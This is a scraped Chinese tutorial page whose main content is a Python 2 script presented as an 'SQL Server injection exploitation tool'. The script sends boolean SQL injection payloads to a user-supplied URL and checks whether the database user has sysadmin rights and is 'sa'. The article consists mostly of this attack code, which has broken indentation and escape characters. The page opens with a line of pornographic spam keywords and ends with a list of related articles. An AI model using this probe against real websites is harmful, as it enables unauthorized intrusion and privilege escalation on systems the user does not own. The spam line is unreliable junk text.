欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python編寫(xiě)檢測(cè)數(shù)據(jù)庫(kù)SA用戶的方法

 更新時(shí)間:2014年07月11日 10:45:55   投稿:shichen2014  
這篇文章主要介紹了Python編寫(xiě)檢測(cè)數(shù)據(jù)庫(kù)SA用戶的方法,需要的朋友可以參考下

本文講述一個(gè)用Python寫(xiě)的小程序,用于有注入點(diǎn)的鏈接,以檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶是否為sa,詳細(xì)代碼如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!這個(gè)URL是有注入漏洞的!n" 
  print "[信息]現(xiàn)在判斷數(shù)據(jù)庫(kù)是否是SQL Server,請(qǐng)耐心等候....."  
  is_SQLServer() 
  else: 
  print "[錯(cuò)誤]你確定這個(gè)URL能用?換個(gè)別的試試吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[錯(cuò)誤]數(shù)據(jù)庫(kù)好像不是SQL Server的!n" 
  else: 
  print "[信息]確認(rèn)是SQL Server數(shù)據(jù)庫(kù)!n" 
  print "[信息]開(kāi)始檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶權(quán)限,請(qǐng)耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不具有sysadmin權(quán)限!n" 
  else:  
    print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶具有sysadmin權(quán)限!n" 
    print "[信息]檢測(cè)當(dāng)前用戶是不是SA,請(qǐng)耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不是SA!n" 
  else:  
    print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^(guò)o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]請(qǐng)輸入一個(gè)可能有注入漏洞的鏈接!nURL:')  
if url == '':  
  print "[錯(cuò)誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"  
  exit(1)  
 
judge = raw_input("[信息]請(qǐng)?zhí)峁┮粋€(gè)判斷字符串.n判斷字符串:")  
if judge == '':  
  print "[錯(cuò)誤]判斷字符串不能為空!"  
  exit(1)  
 
is_sqlable()

相關(guān)文章

  • Python利用PyPDF2庫(kù)處理PDF文件的基本操作

    Python利用PyPDF2庫(kù)處理PDF文件的基本操作

    PyPDF2是一個(gè)Python庫(kù),用于處理PDF文件,包括合并、分割、旋轉(zhuǎn)和提取文本等操作,它是一個(gè)功能強(qiáng)大且靈活的工具,可用于自動(dòng)化處理PDF文件,適用于各種應(yīng)用,從文檔管理到數(shù)據(jù)分析,本文將深入介紹PyPDF2庫(kù),掌握如何利用它來(lái)處理PDF文件,需要的朋友可以參考下
    2023-11-11
  • Python創(chuàng)建高強(qiáng)度密碼生成工具方法實(shí)例

    Python創(chuàng)建高強(qiáng)度密碼生成工具方法實(shí)例

    這篇文章主要為大家介紹了Python創(chuàng)建高強(qiáng)度密碼生成工具方法實(shí)例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-12-12
  • Python在線運(yùn)行代碼助手

    Python在線運(yùn)行代碼助手

    Python代碼運(yùn)行助手可以讓你在線輸入Python代碼,然后通過(guò)本機(jī)運(yùn)行的一個(gè)Python腳本來(lái)執(zhí)行代碼
    2016-07-07
  • Python中迭代器的創(chuàng)建與使用詳解

    Python中迭代器的創(chuàng)建與使用詳解

    Python中的迭代器是一個(gè)對(duì)象,用于迭代可迭代對(duì)象,如列表,元組,字典和集合,這篇文章主要為大家介紹了Python中迭代器的創(chuàng)建與使用,需要的可以參考下
    2023-08-08
  • 詳解python的argpare和click模塊小結(jié)

    詳解python的argpare和click模塊小結(jié)

    這篇文章主要介紹了詳解python的argpare和click模塊小結(jié),小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2019-03-03
  • Python生成器與迭代器詳情

    Python生成器與迭代器詳情

    這篇文章主要介紹了Python生成器與迭代器,現(xiàn)在可以通過(guò)生成器來(lái)直接創(chuàng)建一個(gè)列表,是由于內(nèi)存的限制,表的容量肯定是有限的,果我們需要一個(gè)包含幾百個(gè)元素的列表,是每次訪問(wèn)的時(shí)候只訪問(wèn)其中的幾個(gè),剩下的元素不使用就很浪費(fèi)內(nèi)存空間,下面來(lái)了解具體內(nèi)容
    2021-11-11
  • python如何利用中心坐標(biāo)繪制矩形

    python如何利用中心坐標(biāo)繪制矩形

    這篇文章主要介紹了python如何利用中心坐標(biāo)繪制矩形問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-08-08
  • 基于logstash實(shí)現(xiàn)日志文件同步elasticsearch

    基于logstash實(shí)現(xiàn)日志文件同步elasticsearch

    這篇文章主要介紹了基于logstash實(shí)現(xiàn)日志文件同步elasticsearch,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-08-08
  • Win10下配置tensorflow-gpu的詳細(xì)教程(無(wú)VS2015/2017)

    Win10下配置tensorflow-gpu的詳細(xì)教程(無(wú)VS2015/2017)

    這篇文章主要介紹了Win10下配置tensorflow-gpu(無(wú)VS2015/2017),本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-07-07
  • Python擴(kuò)展內(nèi)置類型詳解

    Python擴(kuò)展內(nèi)置類型詳解

    這篇文章主要為大家詳細(xì)介紹了Python擴(kuò)展內(nèi)置類型的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-03-03

最新評(píng)論